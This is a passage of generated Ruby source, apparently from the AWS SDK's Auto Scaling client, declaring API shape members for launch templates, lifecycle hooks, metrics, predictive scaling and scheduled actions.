LaunchTemplate.add_member(:overrides, Shapes::ShapeRef.new(shape: Overrides, location_name: "Overrides"))
LaunchTemplate.struct_class = Types::LaunchTemplate
LaunchTemplateOverrides.add_member(:instance_type, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "InstanceType"))
LaunchTemplateOverrides.add_member(:weighted_capacity, Shapes::ShapeRef.new(shape: XmlStringMaxLen32, location_name: "WeightedCapacity"))
LaunchTemplateOverrides.add_member(:launch_template_specification, Shapes::ShapeRef.new(shape: LaunchTemplateSpecification, location_name: "LaunchTemplateSpecification"))
LaunchTemplateOverrides.add_member(:instance_requirements, Shapes::ShapeRef.new(shape: InstanceRequirements, location_name: "InstanceRequirements"))
LaunchTemplateOverrides.struct_class = Types::LaunchTemplateOverrides
LaunchTemplateSpecification.add_member(:launch_template_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "LaunchTemplateId"))
LaunchTemplateSpecification.add_member(:launch_template_name, Shapes::ShapeRef.new(shape: LaunchTemplateName, location_name: "LaunchTemplateName"))
LaunchTemplateSpecification.add_member(:version, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "Version"))
LaunchTemplateSpecification.struct_class = Types::LaunchTemplateSpecification
LifecycleHook.add_member(:lifecycle_hook_name, Shapes::ShapeRef.new(shape: AsciiStringMaxLen255, location_name: "LifecycleHookName"))
LifecycleHook.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "AutoScalingGroupName"))
LifecycleHook.add_member(:lifecycle_transition, Shapes::ShapeRef.new(shape: LifecycleTransition, location_name: "LifecycleTransition"))
LifecycleHook.add_member(:notification_target_arn, Shapes::ShapeRef.new(shape: NotificationTargetResourceName, location_name: "NotificationTargetARN"))
LifecycleHook.add_member(:role_arn, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "RoleARN"))
LifecycleHook.add_member(:notification_metadata, Shapes::ShapeRef.new(shape: XmlStringMaxLen1023, location_name: "NotificationMetadata"))
LifecycleHook.add_member(:heartbeat_timeout, Shapes::ShapeRef.new(shape: HeartbeatTimeout, location_name: "HeartbeatTimeout"))
LifecycleHook.add_member(:global_timeout, Shapes::ShapeRef.new(shape: GlobalTimeout, location_name: "GlobalTimeout"))
LifecycleHook.add_member(:default_result, Shapes::ShapeRef.new(shape: LifecycleActionResult, location_name: "DefaultResult"))
LifecycleHook.struct_class = Types::LifecycleHook
LifecycleHookNames.member = Shapes::ShapeRef.new(shape: AsciiStringMaxLen255)
LifecycleHookSpecification.add_member(:lifecycle_hook_name, Shapes::ShapeRef.new(shape: AsciiStringMaxLen255, required: true, location_name: "LifecycleHookName"))
LifecycleHookSpecification.add_member(:lifecycle_transition, Shapes::ShapeRef.new(shape: LifecycleTransition, required: true, location_name: "LifecycleTransition"))
LifecycleHookSpecification.add_member(:notification_metadata, Shapes::ShapeRef.new(shape: XmlStringMaxLen1023, location_name: "NotificationMetadata"))
LifecycleHookSpecification.add_member(:heartbeat_timeout, Shapes::ShapeRef.new(shape: HeartbeatTimeout, location_name: "HeartbeatTimeout"))
LifecycleHookSpecification.add_member(:default_result, Shapes::ShapeRef.new(shape: LifecycleActionResult, location_name: "DefaultResult"))
LifecycleHookSpecification.add_member(:notification_target_arn, Shapes::ShapeRef.new(shape: NotificationTargetResourceName, location_name: "NotificationTargetARN"))
LifecycleHookSpecification.add_member(:role_arn, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "RoleARN"))
LifecycleHookSpecification.struct_class = Types::LifecycleHookSpecification
LifecycleHookSpecifications.member = Shapes::ShapeRef.new(shape: LifecycleHookSpecification)
LifecycleHooks.member = Shapes::ShapeRef.new(shape: LifecycleHook)
LimitExceededFault.add_member(:message, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "message"))
LimitExceededFault.struct_class = Types::LimitExceededFault
LoadBalancerNames.member = Shapes::ShapeRef.new(shape: XmlStringMaxLen255)
LoadBalancerState.add_member(:load_balancer_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "LoadBalancerName"))
LoadBalancerState.add_member(:state, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "State"))
LoadBalancerState.struct_class = Types::LoadBalancerState
LoadBalancerStates.member = Shapes::ShapeRef.new(shape: LoadBalancerState)
LoadBalancerTargetGroupState.add_member(:load_balancer_target_group_arn, Shapes::ShapeRef.new(shape: XmlStringMaxLen511, location_name: "LoadBalancerTargetGroupARN"))
LoadBalancerTargetGroupState.add_member(:state, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "State"))
LoadBalancerTargetGroupState.struct_class = Types::LoadBalancerTargetGroupState
LoadBalancerTargetGroupStates.member = Shapes::ShapeRef.new(shape: LoadBalancerTargetGroupState)
LoadForecast.add_member(:timestamps, Shapes::ShapeRef.new(shape: PredictiveScalingForecastTimestamps, required: true, location_name: "Timestamps"))
LoadForecast.add_member(:values, Shapes::ShapeRef.new(shape: PredictiveScalingForecastValues, required: true, location_name: "Values"))
LoadForecast.add_member(:metric_specification, Shapes::ShapeRef.new(shape: PredictiveScalingMetricSpecification, required: true, location_name: "MetricSpecification"))
LoadForecast.struct_class = Types::LoadForecast
LoadForecasts.member = Shapes::ShapeRef.new(shape: LoadForecast)
LocalStorageTypes.member = Shapes::ShapeRef.new(shape: LocalStorageType)
MemoryGiBPerVCpuRequest.add_member(:min, Shapes::ShapeRef.new(shape: NullablePositiveDouble, location_name: "Min"))
MemoryGiBPerVCpuRequest.add_member(:max, Shapes::ShapeRef.new(shape: NullablePositiveDouble, location_name: "Max"))
MemoryGiBPerVCpuRequest.struct_class = Types::MemoryGiBPerVCpuRequest
MemoryMiBRequest.add_member(:min, Shapes::ShapeRef.new(shape: NullablePositiveInteger, required: true, location_name: "Min"))
MemoryMiBRequest.add_member(:max, Shapes::ShapeRef.new(shape: NullablePositiveInteger, location_name: "Max"))
MemoryMiBRequest.struct_class = Types::MemoryMiBRequest
Metric.add_member(:namespace, Shapes::ShapeRef.new(shape: MetricNamespace, required: true, location_name: "Namespace"))
Metric.add_member(:metric_name, Shapes::ShapeRef.new(shape: MetricName, required: true, location_name: "MetricName"))
Metric.add_member(:dimensions, Shapes::ShapeRef.new(shape: MetricDimensions, location_name: "Dimensions"))
Metric.struct_class = Types::Metric
MetricCollectionType.add_member(:metric, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "Metric"))
MetricCollectionType.struct_class = Types::MetricCollectionType
MetricCollectionTypes.member = Shapes::ShapeRef.new(shape: MetricCollectionType)
MetricDataQueries.member = Shapes::ShapeRef.new(shape: MetricDataQuery)
MetricDataQuery.add_member(:id, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "Id"))
MetricDataQuery.add_member(:expression, Shapes::ShapeRef.new(shape: XmlStringMaxLen1023, location_name: "Expression"))
MetricDataQuery.add_member(:metric_stat, Shapes::ShapeRef.new(shape: MetricStat, location_name: "MetricStat"))
MetricDataQuery.add_member(:label, Shapes::ShapeRef.new(shape: XmlStringMetricLabel, location_name: "Label"))
MetricDataQuery.add_member(:return_data, Shapes::ShapeRef.new(shape: ReturnData, location_name: "ReturnData"))
MetricDataQuery.struct_class = Types::MetricDataQuery
MetricDimension.add_member(:name, Shapes::ShapeRef.new(shape: MetricDimensionName, required: true, location_name: "Name"))
MetricDimension.add_member(:value, Shapes::ShapeRef.new(shape: MetricDimensionValue, required: true, location_name: "Value"))
MetricDimension.struct_class = Types::MetricDimension
MetricDimensions.member = Shapes::ShapeRef.new(shape: MetricDimension)
MetricGranularityType.add_member(:granularity, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "Granularity"))
MetricGranularityType.struct_class = Types::MetricGranularityType
MetricGranularityTypes.member = Shapes::ShapeRef.new(shape: MetricGranularityType)
MetricStat.add_member(:metric, Shapes::ShapeRef.new(shape: Metric, required: true, location_name: "Metric"))
MetricStat.add_member(:stat, Shapes::ShapeRef.new(shape: XmlStringMetricStat, required: true, location_name: "Stat"))
MetricStat.add_member(:unit, Shapes::ShapeRef.new(shape: MetricUnit, location_name: "Unit"))
MetricStat.struct_class = Types::MetricStat
Metrics.member = Shapes::ShapeRef.new(shape: XmlStringMaxLen255)
MixedInstancesPolicy.add_member(:launch_template, Shapes::ShapeRef.new(shape: LaunchTemplate, location_name: "LaunchTemplate"))
MixedInstancesPolicy.add_member(:instances_distribution, Shapes::ShapeRef.new(shape: InstancesDistribution, location_name: "InstancesDistribution"))
MixedInstancesPolicy.struct_class = Types::MixedInstancesPolicy
NetworkInterfaceCountRequest.add_member(:min, Shapes::ShapeRef.new(shape: NullablePositiveInteger, location_name: "Min"))
NetworkInterfaceCountRequest.add_member(:max, Shapes::ShapeRef.new(shape: NullablePositiveInteger, location_name: "Max"))
NetworkInterfaceCountRequest.struct_class = Types::NetworkInterfaceCountRequest
NotificationConfiguration.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "AutoScalingGroupName"))
NotificationConfiguration.add_member(:topic_arn, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "TopicARN"))
NotificationConfiguration.add_member(:notification_type, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "NotificationType"))
NotificationConfiguration.struct_class = Types::NotificationConfiguration
NotificationConfigurations.member = Shapes::ShapeRef.new(shape: NotificationConfiguration)
Overrides.member = Shapes::ShapeRef.new(shape: LaunchTemplateOverrides)
PoliciesType.add_member(:scaling_policies, Shapes::ShapeRef.new(shape: ScalingPolicies, location_name: "ScalingPolicies"))
PoliciesType.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
PoliciesType.struct_class = Types::PoliciesType
PolicyARNType.add_member(:policy_arn, Shapes::ShapeRef.new(shape: ResourceName, location_name: "PolicyARN"))
PolicyARNType.add_member(:alarms, Shapes::ShapeRef.new(shape: Alarms, location_name: "Alarms"))
PolicyARNType.struct_class = Types::PolicyARNType
PolicyNames.member = Shapes::ShapeRef.new(shape: ResourceName)
PolicyTypes.member = Shapes::ShapeRef.new(shape: XmlStringMaxLen64)
PredefinedMetricSpecification.add_member(:predefined_metric_type, Shapes::ShapeRef.new(shape: MetricType, required: true, location_name: "PredefinedMetricType"))
PredefinedMetricSpecification.add_member(:resource_label, Shapes::ShapeRef.new(shape: XmlStringMaxLen1023, location_name: "ResourceLabel"))
PredefinedMetricSpecification.struct_class = Types::PredefinedMetricSpecification
PredictiveScalingConfiguration.add_member(:metric_specifications, Shapes::ShapeRef.new(shape: PredictiveScalingMetricSpecifications, required: true, location_name: "MetricSpecifications"))
PredictiveScalingConfiguration.add_member(:mode, Shapes::ShapeRef.new(shape: PredictiveScalingMode, location_name: "Mode"))
PredictiveScalingConfiguration.add_member(:scheduling_buffer_time, Shapes::ShapeRef.new(shape: PredictiveScalingSchedulingBufferTime, location_name: "SchedulingBufferTime"))
PredictiveScalingConfiguration.add_member(:max_capacity_breach_behavior, Shapes::ShapeRef.new(shape: PredictiveScalingMaxCapacityBreachBehavior, location_name: "MaxCapacityBreachBehavior"))
PredictiveScalingConfiguration.add_member(:max_capacity_buffer, Shapes::ShapeRef.new(shape: PredictiveScalingMaxCapacityBuffer, location_name: "MaxCapacityBuffer"))
PredictiveScalingConfiguration.struct_class = Types::PredictiveScalingConfiguration
PredictiveScalingCustomizedCapacityMetric.add_member(:metric_data_queries, Shapes::ShapeRef.new(shape: MetricDataQueries, required: true, location_name: "MetricDataQueries"))
PredictiveScalingCustomizedCapacityMetric.struct_class = Types::PredictiveScalingCustomizedCapacityMetric
PredictiveScalingCustomizedLoadMetric.add_member(:metric_data_queries, Shapes::ShapeRef.new(shape: MetricDataQueries, required: true, location_name: "MetricDataQueries"))
PredictiveScalingCustomizedLoadMetric.struct_class = Types::PredictiveScalingCustomizedLoadMetric
PredictiveScalingCustomizedScalingMetric.add_member(:metric_data_queries, Shapes::ShapeRef.new(shape: MetricDataQueries, required: true, location_name: "MetricDataQueries"))
PredictiveScalingCustomizedScalingMetric.struct_class = Types::PredictiveScalingCustomizedScalingMetric
PredictiveScalingForecastTimestamps.member = Shapes::ShapeRef.new(shape: TimestampType)
PredictiveScalingForecastValues.member = Shapes::ShapeRef.new(shape: MetricScale)
PredictiveScalingMetricSpecification.add_member(:target_value, Shapes::ShapeRef.new(shape: MetricScale, required: true, location_name: "TargetValue"))
PredictiveScalingMetricSpecification.add_member(:predefined_metric_pair_specification, Shapes::ShapeRef.new(shape: PredictiveScalingPredefinedMetricPair, location_name: "PredefinedMetricPairSpecification"))
PredictiveScalingMetricSpecification.add_member(:predefined_scaling_metric_specification, Shapes::ShapeRef.new(shape: PredictiveScalingPredefinedScalingMetric, location_name: "PredefinedScalingMetricSpecification"))
PredictiveScalingMetricSpecification.add_member(:predefined_load_metric_specification, Shapes::ShapeRef.new(shape: PredictiveScalingPredefinedLoadMetric, location_name: "PredefinedLoadMetricSpecification"))
PredictiveScalingMetricSpecification.add_member(:customized_scaling_metric_specification, Shapes::ShapeRef.new(shape: PredictiveScalingCustomizedScalingMetric, location_name: "CustomizedScalingMetricSpecification"))
PredictiveScalingMetricSpecification.add_member(:customized_load_metric_specification, Shapes::ShapeRef.new(shape: PredictiveScalingCustomizedLoadMetric, location_name: "CustomizedLoadMetricSpecification"))
PredictiveScalingMetricSpecification.add_member(:customized_capacity_metric_specification, Shapes::ShapeRef.new(shape: PredictiveScalingCustomizedCapacityMetric, location_name: "CustomizedCapacityMetricSpecification"))
PredictiveScalingMetricSpecification.struct_class = Types::PredictiveScalingMetricSpecification
PredictiveScalingMetricSpecifications.member = Shapes::ShapeRef.new(shape: PredictiveScalingMetricSpecification)
PredictiveScalingPredefinedLoadMetric.add_member(:predefined_metric_type, Shapes::ShapeRef.new(shape: PredefinedLoadMetricType, required: true, location_name: "PredefinedMetricType"))
PredictiveScalingPredefinedLoadMetric.add_member(:resource_label, Shapes::ShapeRef.new(shape: XmlStringMaxLen1023, location_name: "ResourceLabel"))
PredictiveScalingPredefinedLoadMetric.struct_class = Types::PredictiveScalingPredefinedLoadMetric
PredictiveScalingPredefinedMetricPair.add_member(:predefined_metric_type, Shapes::ShapeRef.new(shape: PredefinedMetricPairType, required: true, location_name: "PredefinedMetricType"))
PredictiveScalingPredefinedMetricPair.add_member(:resource_label, Shapes::ShapeRef.new(shape: XmlStringMaxLen1023, location_name: "ResourceLabel"))
PredictiveScalingPredefinedMetricPair.struct_class = Types::PredictiveScalingPredefinedMetricPair
PredictiveScalingPredefinedScalingMetric.add_member(:predefined_metric_type, Shapes::ShapeRef.new(shape: PredefinedScalingMetricType, required: true, location_name: "PredefinedMetricType"))
PredictiveScalingPredefinedScalingMetric.add_member(:resource_label, Shapes::ShapeRef.new(shape: XmlStringMaxLen1023, location_name: "ResourceLabel"))
PredictiveScalingPredefinedScalingMetric.struct_class = Types::PredictiveScalingPredefinedScalingMetric
ProcessNames.member = Shapes::ShapeRef.new(shape: XmlStringMaxLen255)
ProcessType.add_member(:process_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "ProcessName"))
ProcessType.struct_class = Types::ProcessType
Processes.member = Shapes::ShapeRef.new(shape: ProcessType)
ProcessesType.add_member(:processes, Shapes::ShapeRef.new(shape: Processes, location_name: "Processes"))
ProcessesType.struct_class = Types::ProcessesType
PutLifecycleHookAnswer.struct_class = Types::PutLifecycleHookAnswer
PutLifecycleHookType.add_member(:lifecycle_hook_name, Shapes::ShapeRef.new(shape: AsciiStringMaxLen255, required: true, location_name: "LifecycleHookName"))
PutLifecycleHookType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
PutLifecycleHookType.add_member(:lifecycle_transition, Shapes::ShapeRef.new(shape: LifecycleTransition, location_name: "LifecycleTransition"))
PutLifecycleHookType.add_member(:role_arn, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "RoleARN"))
PutLifecycleHookType.add_member(:notification_target_arn, Shapes::ShapeRef.new(shape: NotificationTargetResourceName, location_name: "NotificationTargetARN"))
PutLifecycleHookType.add_member(:notification_metadata, Shapes::ShapeRef.new(shape: XmlStringMaxLen1023, location_name: "NotificationMetadata"))
PutLifecycleHookType.add_member(:heartbeat_timeout, Shapes::ShapeRef.new(shape: HeartbeatTimeout, location_name: "HeartbeatTimeout"))
PutLifecycleHookType.add_member(:default_result, Shapes::ShapeRef.new(shape: LifecycleActionResult, location_name: "DefaultResult"))
PutLifecycleHookType.struct_class = Types::PutLifecycleHookType
PutNotificationConfigurationType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
PutNotificationConfigurationType.add_member(:topic_arn, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "TopicARN"))
PutNotificationConfigurationType.add_member(:notification_types, Shapes::ShapeRef.new(shape: AutoScalingNotificationTypes, required: true, location_name: "NotificationTypes"))
PutNotificationConfigurationType.struct_class = Types::PutNotificationConfigurationType
PutScalingPolicyType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
PutScalingPolicyType.add_member(:policy_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "PolicyName"))
PutScalingPolicyType.add_member(:policy_type, Shapes::ShapeRef.new(shape: XmlStringMaxLen64, location_name: "PolicyType"))
PutScalingPolicyType.add_member(:adjustment_type, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "AdjustmentType"))
PutScalingPolicyType.add_member(:min_adjustment_step, Shapes::ShapeRef.new(shape: MinAdjustmentStep, deprecated: true, location_name: "MinAdjustmentStep"))
PutScalingPolicyType.add_member(:min_adjustment_magnitude, Shapes::ShapeRef.new(shape: MinAdjustmentMagnitude, location_name: "MinAdjustmentMagnitude"))
PutScalingPolicyType.add_member(:scaling_adjustment, Shapes::ShapeRef.new(shape: PolicyIncrement, location_name: "ScalingAdjustment"))
PutScalingPolicyType.add_member(:cooldown, Shapes::ShapeRef.new(shape: Cooldown, location_name: "Cooldown"))
PutScalingPolicyType.add_member(:metric_aggregation_type, Shapes::ShapeRef.new(shape: XmlStringMaxLen32, location_name: "MetricAggregationType"))
PutScalingPolicyType.add_member(:step_adjustments, Shapes::ShapeRef.new(shape: StepAdjustments, location_name: "StepAdjustments"))
PutScalingPolicyType.add_member(:estimated_instance_warmup, Shapes::ShapeRef.new(shape: EstimatedInstanceWarmup, location_name: "EstimatedInstanceWarmup"))
PutScalingPolicyType.add_member(:target_tracking_configuration, Shapes::ShapeRef.new(shape: TargetTrackingConfiguration, location_name: "TargetTrackingConfiguration"))
PutScalingPolicyType.add_member(:enabled, Shapes::ShapeRef.new(shape: ScalingPolicyEnabled, location_name: "Enabled"))
PutScalingPolicyType.add_member(:predictive_scaling_configuration, Shapes::ShapeRef.new(shape: PredictiveScalingConfiguration, location_name: "PredictiveScalingConfiguration"))
PutScalingPolicyType.struct_class = Types::PutScalingPolicyType
PutScheduledUpdateGroupActionType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
PutScheduledUpdateGroupActionType.add_member(:scheduled_action_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "ScheduledActionName"))
PutScheduledUpdateGroupActionType.add_member(:time, Shapes::ShapeRef.new(shape: TimestampType, location_name: "Time"))
PutScheduledUpdateGroupActionType.add_member(:start_time, Shapes::ShapeRef.new(shape: TimestampType, location_name: "StartTime"))
PutScheduledUpdateGroupActionType.add_member(:end_time, Shapes::ShapeRef.new(shape: TimestampType, location_name: "EndTime"))
PutScheduledUpdateGroupActionType.add_member(:recurrence, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "Recurrence"))
PutScheduledUpdateGroupActionType.add_member(:min_size, Shapes::ShapeRef.new(shape: AutoScalingGroupMinSize, location_name: "MinSize"))
PutScheduledUpdateGroupActionType.add_member(:max_size, Shapes::ShapeRef.new(shape: AutoScalingGroupMaxSize, location_name: "MaxSize"))
PutScheduledUpdateGroupActionType.add_member(:desired_capacity, Shapes::ShapeRef.new(shape: AutoScalingGroupDesiredCapacity, location_name: "DesiredCapacity"))
PutScheduledUpdateGroupActionType.add_member(:time_zone, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "TimeZone"))
PutScheduledUpdateGroupActionType.struct_class = Types::PutScheduledUpdateGroupActionType
PutWarmPoolAnswer.struct_class = Types::PutWarmPoolAnswer
PutWarmPoolType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
PutWarmPoolType.add_member(:max_group_prepared_capacity, Shapes::ShapeRef.new(shape: MaxGroupPreparedCapacity, location_name: "MaxGroupPreparedCapacity"))
PutWarmPoolType.add_member(:min_size, Shapes::ShapeRef.new(shape: WarmPoolMinSize, location_name: "MinSize"))
PutWarmPoolType.add_member(:pool_state, Shapes::ShapeRef.new(shape: WarmPoolState, location_name: "PoolState"))
PutWarmPoolType.add_member(:instance_reuse_policy, Shapes::ShapeRef.new(shape: InstanceReusePolicy, location_name: "InstanceReusePolicy"))
PutWarmPoolType.struct_class = Types::PutWarmPoolType
RecordLifecycleActionHeartbeatAnswer.struct_class = Types::RecordLifecycleActionHeartbeatAnswer
RecordLifecycleActionHeartbeatType.add_member(:lifecycle_hook_name, Shapes::ShapeRef.new(shape: AsciiStringMaxLen255, required: true, location_name: "LifecycleHookName"))
RecordLifecycleActionHeartbeatType.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: ResourceName, required: true, location_name: "AutoScalingGroupName"))
RecordLifecycleActionHeartbeatType.add_member(:lifecycle_action_token, Shapes::ShapeRef.new(shape: LifecycleActionToken, location_name: "LifecycleActionToken"))
RecordLifecycleActionHeartbeatType.add_member(:instance_id, Shapes::ShapeRef.new(shape: XmlStringMaxLen19, location_name: "InstanceId"))
RecordLifecycleActionHeartbeatType.struct_class = Types::RecordLifecycleActionHeartbeatType
RefreshPreferences.add_member(:min_healthy_percentage, Shapes::ShapeRef.new(shape: IntPercent, location_name: "MinHealthyPercentage"))
RefreshPreferences.add_member(:instance_warmup, Shapes::ShapeRef.new(shape: RefreshInstanceWarmup, location_name: "InstanceWarmup"))
RefreshPreferences.add_member(:checkpoint_percentages, Shapes::ShapeRef.new(shape: CheckpointPercentages, location_name: "CheckpointPercentages"))
RefreshPreferences.add_member(:checkpoint_delay, Shapes::ShapeRef.new(shape: CheckpointDelay, location_name: "CheckpointDelay"))
RefreshPreferences.add_member(:skip_matching, Shapes::ShapeRef.new(shape: SkipMatching, location_name: "SkipMatching"))
RefreshPreferences.struct_class = Types::RefreshPreferences
ResourceContentionFault.add_member(:message, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "message"))
ResourceContentionFault.struct_class = Types::ResourceContentionFault
ResourceInUseFault.add_member(:message, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "message"))
ResourceInUseFault.struct_class = Types::ResourceInUseFault
ScalingActivityInProgressFault.add_member(:message, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "message"))
ScalingActivityInProgressFault.struct_class = Types::ScalingActivityInProgressFault
ScalingPolicies.member = Shapes::ShapeRef.new(shape: ScalingPolicy)
ScalingPolicy.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "AutoScalingGroupName"))
ScalingPolicy.add_member(:policy_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "PolicyName"))
ScalingPolicy.add_member(:policy_arn, Shapes::ShapeRef.new(shape: ResourceName, location_name: "PolicyARN"))
ScalingPolicy.add_member(:policy_type, Shapes::ShapeRef.new(shape: XmlStringMaxLen64, location_name: "PolicyType"))
ScalingPolicy.add_member(:adjustment_type, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "AdjustmentType"))
ScalingPolicy.add_member(:min_adjustment_step, Shapes::ShapeRef.new(shape: MinAdjustmentStep, deprecated: true, location_name: "MinAdjustmentStep"))
ScalingPolicy.add_member(:min_adjustment_magnitude, Shapes::ShapeRef.new(shape: MinAdjustmentMagnitude, location_name: "MinAdjustmentMagnitude"))
ScalingPolicy.add_member(:scaling_adjustment, Shapes::ShapeRef.new(shape: PolicyIncrement, location_name: "ScalingAdjustment"))
ScalingPolicy.add_member(:cooldown, Shapes::ShapeRef.new(shape: Cooldown, location_name: "Cooldown"))
ScalingPolicy.add_member(:step_adjustments, Shapes::ShapeRef.new(shape: StepAdjustments, location_name: "StepAdjustments"))
ScalingPolicy.add_member(:metric_aggregation_type, Shapes::ShapeRef.new(shape: XmlStringMaxLen32, location_name: "MetricAggregationType"))
ScalingPolicy.add_member(:estimated_instance_warmup, Shapes::ShapeRef.new(shape: EstimatedInstanceWarmup, location_name: "EstimatedInstanceWarmup"))
ScalingPolicy.add_member(:alarms, Shapes::ShapeRef.new(shape: Alarms, location_name: "Alarms"))
ScalingPolicy.add_member(:target_tracking_configuration, Shapes::ShapeRef.new(shape: TargetTrackingConfiguration, location_name: "TargetTrackingConfiguration"))
ScalingPolicy.add_member(:enabled, Shapes::ShapeRef.new(shape: ScalingPolicyEnabled, location_name: "Enabled"))
ScalingPolicy.add_member(:predictive_scaling_configuration, Shapes::ShapeRef.new(shape: PredictiveScalingConfiguration, location_name: "PredictiveScalingConfiguration"))
ScalingPolicy.struct_class = Types::ScalingPolicy
ScalingProcessQuery.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "AutoScalingGroupName"))
ScalingProcessQuery.add_member(:scaling_processes, Shapes::ShapeRef.new(shape: ProcessNames, location_name: "ScalingProcesses"))
ScalingProcessQuery.struct_class = Types::ScalingProcessQuery
ScheduledActionNames.member = Shapes::ShapeRef.new(shape: XmlStringMaxLen255)
ScheduledActionsType.add_member(:scheduled_update_group_actions, Shapes::ShapeRef.new(shape: ScheduledUpdateGroupActions, location_name: "ScheduledUpdateGroupActions"))
ScheduledActionsType.add_member(:next_token, Shapes::ShapeRef.new(shape: XmlString, location_name: "NextToken"))
ScheduledActionsType.struct_class = Types::ScheduledActionsType
ScheduledUpdateGroupAction.add_member(:auto_scaling_group_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "AutoScalingGroupName"))
ScheduledUpdateGroupAction.add_member(:scheduled_action_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "ScheduledActionName"))
ScheduledUpdateGroupAction.add_member(:scheduled_action_arn, Shapes::ShapeRef.new(shape: ResourceName, location_name: "ScheduledActionARN"))
ScheduledUpdateGroupAction.add_member(:time, Shapes::ShapeRef.new(shape: TimestampType, location_name: "Time"))
ScheduledUpdateGroupAction.add_member(:start_time, Shapes::ShapeRef.new(shape: TimestampType, location_name: "StartTime"))
ScheduledUpdateGroupAction.add_member(:end_time, Shapes::ShapeRef.new(shape: TimestampType, location_name: "EndTime"))
ScheduledUpdateGroupAction.add_member(:recurrence, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "Recurrence"))
ScheduledUpdateGroupAction.add_member(:min_size, Shapes::ShapeRef.new(shape: AutoScalingGroupMinSize, location_name: "MinSize"))
ScheduledUpdateGroupAction.add_member(:max_size, Shapes::ShapeRef.new(shape: AutoScalingGroupMaxSize, location_name: "MaxSize"))
ScheduledUpdateGroupAction.add_member(:desired_capacity, Shapes::ShapeRef.new(shape: AutoScalingGroupDesiredCapacity, location_name: "DesiredCapacity"))
ScheduledUpdateGroupAction.add_member(:time_zone, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "TimeZone"))
ScheduledUpdateGroupAction.struct_class = Types::ScheduledUpdateGroupAction
ScheduledUpdateGroupActionRequest.add_member(:scheduled_action_name, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, required: true, location_name: "ScheduledActionName"))
ScheduledUpdateGroupActionRequest.add_member(:start_time, Shapes::ShapeRef.new(shape: TimestampType, location_name: "StartTime"))
ScheduledUpdateGroupActionRequest.add_member(:end_time, Shapes::ShapeRef.new(shape: TimestampType, location_name: "EndTime"))
ScheduledUpdateGroupActionRequest.add_member(:recurrence, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "Recurrence"))
ScheduledUpdateGroupActionRequest.add_member(:min_size, Shapes::ShapeRef.new(shape: AutoScalingGroupMinSize, location_name: "MinSize"))
ScheduledUpdateGroupActionRequest.add_member(:max_size, Shapes::ShapeRef.new(shape: AutoScalingGroupMaxSize, location_name: "MaxSize"))
ScheduledUpdateGroupActionRequest.add_member(:desired_capacity, Shapes::ShapeRef.new(shape: AutoScalingGroupDesiredCapacity, location_name: "DesiredCapacity"))
ScheduledUpdateGroupActionRequest.add_member(:time_zone, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "TimeZone"))
ScheduledUpdateGroupActionRequest.struct_class = Types::ScheduledUpdateGroupActionRequest
ScheduledUpdateGroupActionRequests.member = Shapes::ShapeRef.new(shape: ScheduledUpdateGroupActionRequest)
ScheduledUpdateGroupActions.member = Shapes::ShapeRef.new(shape: ScheduledUpdateGroupAction)
SecurityGroups.member = Shapes::ShapeRef.new(shape: XmlString)
ServiceLinkedRoleFailure.add_member(:message, Shapes::ShapeRef.new(shape: XmlStringMaxLen255, location_name: "message"))
ServiceLinkedRoleFailure.struct_class = Types::ServiceLinkedRoleFailure
